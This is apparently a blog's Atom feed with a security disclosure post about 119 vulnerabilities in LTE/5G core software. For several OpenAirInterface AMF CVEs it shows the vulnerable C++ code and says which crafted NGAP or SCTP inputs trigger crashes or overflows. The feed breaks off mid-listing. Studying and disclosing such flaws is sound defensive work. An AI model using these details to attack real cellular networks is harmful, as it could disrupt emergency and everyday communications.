<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-05-19T15:53:03+00:00</updated><id>/feed.xml</id><title type="html">Nota Bene[tt]</title><subtitle>The personal website and blog of Nathaniel Bennett. I write about academic research, discovered vulnerabilities, and Rust development.</subtitle><author><name>Nathaniel Bennett</name></author><entry><title type="html">RANsacked: Uncovering critical vulnerabilities in cellular network infrastructure</title><link href="/2024/10/18/ransacked-disclosure.html" rel="alternate" type="text/html" title="RANsacked: Uncovering critical vulnerabilities in cellular network infrastructure" /><published>2024-10-18T00:00:00+00:00</published><updated>2024-10-18T00:00:00+00:00</updated><id>/2024/10/18/ransacked-disclosure</id><content type="html" xml:base="/2024/10/18/ransacked-disclosure.html"><![CDATA[<p><img src="/assets/images/ransacked-cropped.jpeg" alt="RANsacked" />
<em>Image created with DALLE-3</em></p>

<p>We discover <strong>119 vulnerabilities</strong> in LTE/5G core infrastructure, each of which can result in <strong>persistent denial of cell service to an entire metropolitan area or city</strong> and some of which can be used to <strong>remotely compromise and access the cellular core</strong>. Our research covers seven LTE implementations (Open5GS, Magma, OpenAirInterface, Athonet, SD-Core, NextEPC, srsRAN) and three 5G implementations (Open5GS, Magma, OpenAirInterface); we find <strong>vulnerabilities in every single LTE/5G implementation tested</strong>.</p>

<p>Our research finds these vulnerabilities are present in both well-maintained open-source LTE/5G cores and in proprietary software, both of which have active deployments in commercial settings. To learn more about how we were able to discover these vulnerabilities, take a look at <a href="/publications/ransacked.pdf">our paper</a>.</p>

<h2 id="impact">Impact</h2>

<p>Cellular networks are considered critical infrastructure both for day-to-day communication and emergency services, to the extend that their availability and reliability is often highly <a href="https://www.fcc.gov/network-reliability-resources">regulated</a> by government agencies. As such, denying service to regular and emergency cellular services is a</p>

<h4 id="service-distruption">Service Distruption</h4>

<p>Every one of the &gt;100 vulnerabilities discussed below can be used to persistently distrupt all cellular communications (phone calls, messaging and data) at a city-wide level.
An attacker can continuously crash the Mobility Management Entity (MME) or Access and Mobility Management Function (AMF) in an LTE/5G network, respectively, simply by sending a single small data packet over the network as an unauthenticated user (no SIM card required).
This distruption could persist for as long as it would take network operators to identify and patch the vulnerability selected.</p>

<h4 id="remote-access">Remote Access</h4>

<p>A number of vulnerabilities discovered cause <a href="https://en.wikipedia.org/wiki/Buffer_overflow">buffer overflows</a> or similar memory corruption errors.
These could be used by an adversary to gain a foothold into the cellular core network.
From there, attackers could:</p>
<ul>
  <li>Monitor cellphone location and connection information for all subscribers at a city-wide level</li>
  <li>Perform targeted attacks on specific subscribers</li>
  <li>Pivot to attacking within the core network (such as targeting the Home Subscriber Service (HSS) or Unified Data Management (UDM) components in LTE/5G, respectively, to carry out nation-wide cell service distruption)</li>
</ul>

<p>The exploitability of memory corruption vulnerabilities widely varies; in some cases, there may be no practical way of obtaining remote access despite the presence of a memory corruption error because of various limitations. We develop a <strong>proof-of-concept RCE exploit</strong> for one of the vulnerabilities in SD-Core as a way of practically demonstrating the severity of these findings.</p>

<h2 id="threat-models">Threat Models</h2>

<p>All discovered vulnerabilities fall under two threat models:</p>

<ol>
  <li>
    <p><em>Vulnerabilities that can be exploited by <strong>any unauthenticated mobile device</strong>.</em>
The mobile device doesn’t need a valid SIM, it just needs to be capable of sending the right malformed packet sequence at the beginning of a cellular connection (e.g. using an <a href="https://en.wikipedia.org/wiki/Software-defined_radio">SDR</a>).
Traditionally, these attacks were limited in scope to devices that are within radio distance of the LTE/5G core being attacked.
However, with the widespread deployment of Wi-Fi Calling services, <strong>these same attacks can be exploited by any entity on the Internet just by sending a few packets</strong>–no SIM card or SDR equipment required.</p>
  </li>
  <li>
    <p><em>Vulnerabilities that can be exploited by an adversary who has base-station access to the cellular core.</em>
This includes attackers that have either a) compromised a base station/femtocell, or b) gained access to the IPsec network used by base stations to communicate with the cellular core via a misconfiguration or key leak.
While this threat model has more preconditions than the first, it is by no means unrealistic–most cellular providers offer home or office “femtocell” cell signal boosters, which ultimately operate as base stations under the hood.
An adversary could easily be able to obtain persistent physical access to one of these devices and dump RAM/flash or carry out attacks specific to the device to gain access to its IPsec keys.
The proliferation of smaller 5G base stations in easier-to-reach locations (<em>not</em> 100 feet in the air on a tower) also makes compromise of a regular base station more practical.</p>
  </li>
</ol>

<p><img src="/assets/images/ransacked-threats.png" alt="RAN-Core Threats" /></p>

<h2 id="disclosure-process">Disclosure Process</h2>

<p>We reached out to the maintainers of each affected cellular core and followed best practice of allowing at least 90 days for internal patching prior to disclosure. For projects where maintainers did not respond (NextEPC, SD-Core), we attempted to reach out via other communication channels. When that was unsuccessful, we opted to disclose and provide patches directly on their Github repositories in coordination with public disclosure.</p>

<h2 id="vulnerability-analysis">Vulnerability Analysis</h2>

<p>The remaining sections contain more detailed analysis of the causes of each vulnerability. Vulnerabilities are broken down by implementation, cellular generation and protocol the vulnerability was found in. Where possible, a code listing of the precise location and conditions that lead to the vulnerability is provided.</p>

<h2 id="openairinterface-5g">OpenAirInterface (5G)</h2>

<h3 id="ngap-protocol-vulnerabilities">NGAP Protocol Vulnerabilities</h3>

<p><strong>CVE-2024-24445</strong> (<strong>VULN-B01</strong>):</p>

<p>OpenAirInterface contains a null dereference in its handling of unsupported NGAP protocol messages. When a procedure code/presence field tuple is received that is unsupported, OAI indexes into a null function pointer and subsequently dereferences it.</p>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngap_app/ngap_app.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">ngap_app</span><span class="o">::</span><span class="n">handle_receive</span><span class="p">(</span>
        <span class="n">bstring</span> <span class="n">payload</span><span class="p">,</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
        <span class="n">sctp_stream_id_t</span> <span class="n">instreams</span><span class="p">,</span> <span class="n">sctp_stream_id_t</span> <span class="n">outstreams</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="c1">// Handle the message</span>
    <span class="p">(</span><span class="o">*</span><span class="n">messages_callback</span><span class="p">[</span><span class="n">ngap_msg_pdu</span><span class="o">-&gt;</span><span class="n">choice</span><span class="p">.</span><span class="n">initiatingMessage</span><span class="o">-&gt;</span><span class="n">procedureCode</span><span class="p">]</span>
                     <span class="p">[</span><span class="n">ngap_msg_pdu</span><span class="o">-&gt;</span><span class="n">present</span> <span class="o">-</span> <span class="mi">1</span><span class="p">])(</span>
        <span class="n">assoc_id</span><span class="p">,</span> <span class="n">stream</span><span class="p">,</span> <span class="n">ngap_msg_pdu</span><span class="p">);</span>
    <span class="c1">// ^ function pointer dereference of potentially null value</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24450</strong> (<strong>VULN-B02</strong>):</p>

<p>Stack-based memcpy buffer overflow in the
ngap_handle_pdu_session_resource_setup_response routine in
OpenAirInterface CN5G AMF &lt;= 2.0.0 allows a remote attacker with access
to the N2 interface to carry out denial of service against the AMF and
potentially execute code by sending a PDU Session Resource Setup
Response with a suffciently large FailedToSetupList IE</p>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngap_app/ngap_message_callback.hpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">ngap_amf_handle_pdu_session_resource_setup_response</span><span class="p">(</span>
        <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
        <span class="k">struct</span> <span class="nc">Ngap_NGAP_PDU</span><span class="o">*</span> <span class="n">message_p</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">PDUSessionResourceFailedToSetupItem_t</span><span class="o">&gt;</span> <span class="n">list_fail</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pdu_session_resource_setup_resp</span><span class="o">-&gt;</span><span class="n">getPduSessionResourceFailedToSetupList</span><span class="p">(</span>
            <span class="n">list_fail</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span>
            <span class="s">"decoding PduSessionResourceSetupResponseMsg "</span>
            <span class="s">"getPduSessionResourceFailedToSetupList IE  error"</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">PduSessionResourceSetupUnSuccessfulTransferIE</span><span class="o">*</span> <span class="n">UnSuccessfultransfer</span> <span class="o">=</span>
            <span class="k">new</span> <span class="n">PduSessionResourceSetupUnSuccessfulTransferIE</span><span class="p">();</span>
        <span class="kt">uint8_t</span> <span class="n">buffer</span><span class="p">[</span><span class="n">BUFFER_SIZE_512</span><span class="p">];</span>
        <span class="c1">// ^ static buffer of 512 bytes allocated</span>
        <span class="n">memcpy</span><span class="p">(</span>
            <span class="n">buffer</span><span class="p">,</span> <span class="n">list_fail</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">pduSessionResourceSetupUnsuccessfulTransfer</span><span class="p">.</span><span class="n">buf</span><span class="p">,</span>
            <span class="n">list_fail</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">pduSessionResourceSetupUnsuccessfulTransfer</span><span class="p">.</span><span class="n">size</span><span class="p">);</span>
        <span class="c1">// ^ static buffer copied in data from buffer that could have more than 512 bytes</span>

        <span class="c1">// ...</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>VULN-B03</strong>:</p>

<p>The OAI AMF is susceptible to uninitialized memory access when handling <code class="language-plaintext highlighter-rouge">UE Radio Capability Indication</code> NGAP messages. Specifically, a crafted message containing no Radio Capability field will cause the <code class="language-plaintext highlighter-rouge">ue_radio_cap</code> octet string to remain uninitialized, leading to an out-of-bounds read when <code class="language-plaintext highlighter-rouge">blk2bstr</code> is called.</p>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngapIEs/UERadioCapability.hpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">UERadioCapability</span> <span class="p">{</span>
 <span class="nl">public:</span>
  <span class="n">UERadioCapability</span><span class="p">();</span>
  <span class="c1">// UERadioCapability(const OCTET_STRING_t&amp; capability);</span>
  <span class="c1">// UERadioCapability(const bstring&amp; capability);</span>
  <span class="k">virtual</span> <span class="o">~</span><span class="n">UERadioCapability</span><span class="p">();</span>

  <span class="kt">bool</span> <span class="n">encode</span><span class="p">(</span><span class="n">Ngap_UERadioCapability_t</span><span class="o">&amp;</span> <span class="n">ueRadioCapability</span><span class="p">);</span>
  <span class="kt">bool</span> <span class="n">decode</span><span class="p">(</span><span class="n">Ngap_UERadioCapability_t</span><span class="o">&amp;</span> <span class="n">ueRadioCapability</span><span class="p">);</span>

  <span class="kt">bool</span> <span class="n">set</span><span class="p">(</span><span class="k">const</span> <span class="n">OCTET_STRING_t</span><span class="o">&amp;</span> <span class="n">capability</span><span class="p">);</span>
  <span class="kt">bool</span> <span class="n">get</span><span class="p">(</span><span class="n">OCTET_STRING_t</span><span class="o">&amp;</span> <span class="n">capability</span><span class="p">);</span>

  <span class="kt">bool</span> <span class="n">set</span><span class="p">(</span><span class="k">const</span> <span class="n">bstring</span><span class="o">&amp;</span> <span class="n">capability</span><span class="p">);</span>
  <span class="kt">bool</span> <span class="n">get</span><span class="p">(</span><span class="n">bstring</span><span class="o">&amp;</span> <span class="n">capability</span><span class="p">);</span>

 <span class="nl">private:</span>
  <span class="n">bstring</span> <span class="n">ue_radio_capability_</span><span class="p">;</span>
  <span class="c1">// ^ This must be initialized explicitly</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngapIEs/UERadioCapability.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ...</span>

<span class="n">UERadioCapability</span><span class="o">::</span><span class="n">UERadioCapability</span><span class="p">()</span> <span class="p">{}</span>
<span class="c1">// ^ default constructor doesn't initialize `ue_radio_capability_`...</span>

<span class="c1">// ...</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">UeRadioCapabilityInfoIndicationMsg</span><span class="o">::</span><span class="n">setUERadioCapability</span><span class="p">(</span>
    <span class="k">const</span> <span class="n">OCTET_STRING_t</span><span class="o">&amp;</span> <span class="n">capability</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// ^ When a message is decoded, this function is called</span>

    <span class="n">ueRadioCapability</span><span class="p">.</span><span class="n">set</span><span class="p">(</span><span class="n">capability</span><span class="p">);</span>

    <span class="n">Ngap_UERadioCapabilityInfoIndicationIEs_t</span><span class="o">*</span> <span class="n">ie</span> <span class="o">=</span>
        <span class="p">(</span><span class="n">Ngap_UERadioCapabilityInfoIndicationIEs_t</span><span class="o">*</span><span class="p">)</span> <span class="n">calloc</span><span class="p">(</span>
            <span class="mi">1</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Ngap_PDUSessionResourceSetupRequestIEs_t</span><span class="p">));</span>
    <span class="n">ie</span><span class="o">-&gt;</span><span class="n">id</span>          <span class="o">=</span> <span class="n">Ngap_ProtocolIE_ID_id_UERadioCapability</span><span class="p">;</span>
    <span class="n">ie</span><span class="o">-&gt;</span><span class="n">criticality</span> <span class="o">=</span> <span class="n">Ngap_Criticality_ignore</span><span class="p">;</span>
    <span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">present</span> <span class="o">=</span>
        <span class="n">Ngap_UERadioCapabilityInfoIndicationIEs__value_PR_UERadioCapability</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ueRadioCapability</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="n">ie</span><span class="o">-&gt;</span><span class="n">value</span><span class="p">.</span><span class="n">choice</span><span class="p">.</span><span class="n">UERadioCapability</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span><span class="s">"Encode NGAP UERadioCapability IE error"</span><span class="p">);</span>
        <span class="n">free_wrapper</span><span class="p">((</span><span class="kt">void</span><span class="o">**</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">ie</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="c1">// ^ A malformed message could cause this to trigger, leaving the default UERadioCapability</span>

    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">ASN_SEQUENCE_ADD</span><span class="p">(</span>
        <span class="o">&amp;</span><span class="n">ueRadioCapabilityInfoIndicationIEs</span><span class="o">-&gt;</span><span class="n">protocolIEs</span><span class="p">.</span><span class="n">list</span><span class="p">,</span> <span class="n">ie</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span><span class="s">"Encode NGAP UERadioCapability IE error"</span><span class="p">);</span>
    <span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">src/amf-app/amf_n2.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">amf_n2</span><span class="o">::</span><span class="n">handle_itti_message</span><span class="p">(</span>
        <span class="n">itti_ue_radio_capability_indication</span><span class="o">&amp;</span> <span class="n">itti_msg</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">std</span><span class="o">::</span><span class="n">shared_ptr</span><span class="o">&lt;</span><span class="n">gnb_context</span><span class="o">&gt;</span> <span class="n">gc</span> <span class="o">=</span> <span class="p">{};</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">assoc_id_2_gnb_context</span><span class="p">(</span><span class="n">itti_msg</span><span class="p">.</span><span class="n">assoc_id</span><span class="p">,</span> <span class="n">gc</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">Logger</span><span class="o">::</span><span class="n">amf_n2</span><span class="p">().</span><span class="n">error</span><span class="p">(</span>
            <span class="s">"No existed gNB context with assoc_id (%d)"</span><span class="p">,</span> <span class="n">itti_msg</span><span class="p">.</span><span class="n">assoc_id</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">amf_ue_ngap_id</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
    <span class="n">amf_ue_ngap_id</span>               <span class="o">=</span> <span class="n">itti_msg</span><span class="p">.</span><span class="n">ueRadioCap</span><span class="o">-&gt;</span><span class="n">getAmfUeNgapId</span><span class="p">();</span>
    <span class="kt">uint32_t</span> <span class="n">ran_ue_ngap_id</span>      <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
    <span class="n">ran_ue_ngap_id</span>               <span class="o">=</span> <span class="n">itti_msg</span><span class="p">.</span><span class="n">ueRadioCap</span><span class="o">-&gt;</span><span class="n">getRanUeNgapId</span><span class="p">();</span>
    <span class="n">OCTET_STRING_t</span> <span class="n">ue_radio_cap</span><span class="p">;</span>
    <span class="n">itti_msg</span><span class="p">.</span><span class="n">ueRadioCap</span><span class="o">-&gt;</span><span class="n">getUERadioCapability</span><span class="p">(</span><span class="n">ue_radio_cap</span><span class="p">);</span>
    <span class="n">gc</span><span class="o">-&gt;</span><span class="n">ue_radio_cap_ind</span> <span class="o">=</span> <span class="n">blk2bstr</span><span class="p">(</span><span class="n">ue_radio_cap</span><span class="p">.</span><span class="n">buf</span><span class="p">,</span> <span class="n">ue_radio_cap</span><span class="p">.</span><span class="n">size</span><span class="p">);</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24447</strong> (<strong>VULN-B04</strong>):</p>

<p>Stack-based memcpy buffer overflow in the
ngap_handle_pdu_session_resource_setup_response routine in
OpenAirInterface CN5G AMF &lt;= 2.0.0 allows a remote attacker with access
to the N2 interface to carry out denial of service against the AMF and
potentially execute code by sending a PDU Session Resource Setup
Response with a <code class="language-plaintext highlighter-rouge">ResourceFailedToSetupList</code> containing zero elements.</p>

<p><code class="language-plaintext highlighter-rouge">src/ngap/ngap_app/ngap_message_callback.hpp</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">ngap_amf_handle_pdu_session_resource_setup_response</span><span class="p">(</span>
        <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span> <span class="k">const</span> <span class="n">sctp_stream_id_t</span> <span class="n">stream</span><span class="p">,</span>
        <span class="k">struct</span> <span class="nc">Ngap_NGAP_PDU</span><span class="o">*</span> <span class="n">message_p</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="n">PDUSessionResourceFailedToSetupItem_t</span><span class="o">&gt;</span> <span class="n">list_fail</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pdu_session_resource_setup_resp</span><span class="o">-&gt;</span><span class="n">getPduSessionResourceFailedToSetupList</span><span class="p">(</span>
            <span class="n">list_fail</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">Logger</span><span class="o">::</span><span class="n">ngap</span><span class="p">().</span><span class="n">error</span><span class="p">(</span>
            <span class="s">"decoding PduSessionResourceSetupResponseMsg "</span>
            <span class="s">"getPduSessionResourceFailedToSetupList IE  error"</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">PduSessionResourceSetupUnSuccessfulTransferIE</span><span class="o">*</span> <span class="n">UnSuccessfultransfer</span> <span class="o">=</span>
            <span class="k">new</span> <span class="n">PduSessionResourceSetupUnSuccessfulTransferIE</span><span class="p">();</span>
        <span class="kt">uint8_t</span> <span class="n">buffer</span><span class="p">[</span><span class="n">BUFFER_SIZE_512</span><span class="p">];</span>
        <span class="n">memcpy</span><span class="p">(</span>
            <span class="n">buffer</span><span class="p">,</span> <span class="n">list_fail</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">pduSessionResourceSetupUnsuccessfulTransfer</span><span class="p">.</span><span class="n">buf</span><span class="p">,</span>
            <span class="n">list_fail</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">pduSessionResourceSetupUnsuccessfulTransfer</span><span class="p">.</span><span class="n">size</span><span class="p">);</span>
        <span class="c1">// ^ The "FailedToSetupList" may have 0 elements; this indexes into the first</span>

        <span class="c1">// ...</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24451</strong> (<strong>VULN-B05</strong>):</p>

<p>Missing fd_set bounds checks in the <code class="language-plaintext highlighter-rouge">sctp_receiver_thread</code> function of oai-cn5g-amf can cause a buffer overflow when more than 1024 descriptors are open. An attacker may repeatedly establish connections to the server to trigger this.</p>

<p><code class="language-plaintext highlighter-rouge">src/sctp/sctp_server.cpp</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span><span class="o">*</span> <span class="n">sctp_server</span><span class="o">::</span><span class="n">sctp_receiver_thread</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">arg</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">sctp_server</span><span class="o">*</span> <span class="n">ptr</span> <span class="o">=</span> <span class="p">(</span><span class="n">sctp_server</span><span class="o">*</span><span class="p">)</span> <span class="n">arg</span><span class="p">;</span>
  <span class="n">Logger</span><span class="o">::</span><span class="n">sctp</span><span class="p">().</span><span class="n">info</span><span class="p">(</span><span class="s">"Create pthread to receive SCTP message"</span><span class="p">);</span>
  <span class="kt">int</span> <span class="n">fdmax</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">clientsock</span><span class="p">;</span>
  <span class="n">fd_set</span> <span class="n">master</span><span class="p">;</span>
  <span class="n">fd_set</span> <span class="n">read_fds</span><span class="p">;</span>
  <span class="c1">// ^ fd_set used (max 1024 fds; static buffer)</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">arg</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="n">pthread_exit</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
  <span class="n">FD_ZERO</span><span class="p">(</span><span class="o">&amp;</span><span class="n">master</span><span class="p">);</span>
  <span class="n">FD_ZERO</span><span class="p">(</span><span class="o">&amp;</span><span class="n">read_fds</span><span class="p">);</span>
  <span class="n">FD_SET</span><span class="p">(</span><span class="n">ptr</span><span class="o">-&gt;</span><span class="n">getSocket</span><span class="p">(),</span> <span class="o">&amp;</span><span class="n">master</span><span class="p">);</span>
  <span class="n">fdmax</span> <span class="o">=</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">getSocket</span><span class="p">();</span>

  <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">read_fds</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">master</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">master</span><span class="p">));</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">select</span><span class="p">(</span><span class="n">fdmax</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">read_fds</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">Logger</span><span class="o">::</span><span class="n">sctp</span><span class="p">().</span><span class="n">error</span><span class="p">(</span>
          <span class="s">"[socket(%d)] Select() error: %s:%d"</span><span class="p">,</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">getSocket</span><span class="p">(),</span>
          <span class="n">strerror</span><span class="p">(</span><span class="n">errno</span><span class="p">),</span> <span class="n">errno</span><span class="p">);</span>
      <span class="n">pthread_exit</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="n">fdmax</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">FD_ISSET</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">read_fds</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">==</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">getSocket</span><span class="p">())</span> <span class="p">{</span>
          <span class="k">if</span> <span class="p">((</span><span class="n">clientsock</span> <span class="o">=</span> <span class="n">accept</span><span class="p">(</span><span class="n">ptr</span><span class="o">-&gt;</span><span class="n">getSocket</span><span class="p">(),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">Logger</span><span class="o">::</span><span class="n">sctp</span><span class="p">().</span><span class="n">error</span><span class="p">(</span>
                <span class="s">"[socket(%d)] Accept() error: %s:%d"</span><span class="p">,</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">getSocket</span><span class="p">(),</span>
                <span class="n">strerror</span><span class="p">(</span><span class="n">errno</span><span class="p">),</span> <span class="n">errno</span><span class="p">);</span>
            <span class="n">pthread_exit</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
          <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">FD_SET</span><span class="p">(</span><span class="n">clientsock</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">master</span><span class="p">);</span>
            <span class="c1">// ^ if clientsock &gt; 1024, then this causes a buffer overflow</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">clientsock</span> <span class="o">&gt;</span> <span class="n">fdmax</span><span class="p">)</span> <span class="n">fdmax</span> <span class="o">=</span> <span class="n">clientsock</span><span class="p">;</span>
          <span class="p">}</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
          <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">sctp_read_from_socket</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">app_</span><span class="o">-&gt;</span><span class="n">getPpid</span><span class="p">());</span>
          <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">==</span> <span class="n">SCTP_RC_DISCONNECT</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">FD_CLR</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">master</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">==</span> <span class="n">fdmax</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">while</span> <span class="p">(</span><span class="n">FD_ISSET</span><span class="p">(</span><span class="n">fdmax</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">master</span><span class="p">)</span> <span class="o">==</span> <span class="nb">false</span><span class="p">)</span> <span class="n">fdmax</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>
          <span class="p">}</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>uninitialized pointer dereference in the NasPdu::NasPdu component of
OpenAirInterface CN5G AMF up to v2.0.0 allows attackers to cause a
Denial of Service (DoS) via a crafted InitialUEMessage message sent to
the AMF.</p>

<p><strong>CVE-2024-24444</strong> (<strong>VULN-B06</strong>):</p>

<p>Missing descriptor cleanup in the <code class="language-plaintext highlighter-rouge">sctp_receiver_thread</code> function of oai-cn5g-amf can cause resource exhaustion after a sufficient number of network connections have been made. An attacker may repeatedly establish and close connections to the server to trigger this vulnerability.</p>

<p><code class="language-plaintext highlighter-rouge">src/sctp/sctp_server.cpp</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span><span class="o">*</span> <span class="n">sctp_server</span><span class="o">::</span><span class="n">sctp_receiver_thread</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">arg</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>
          
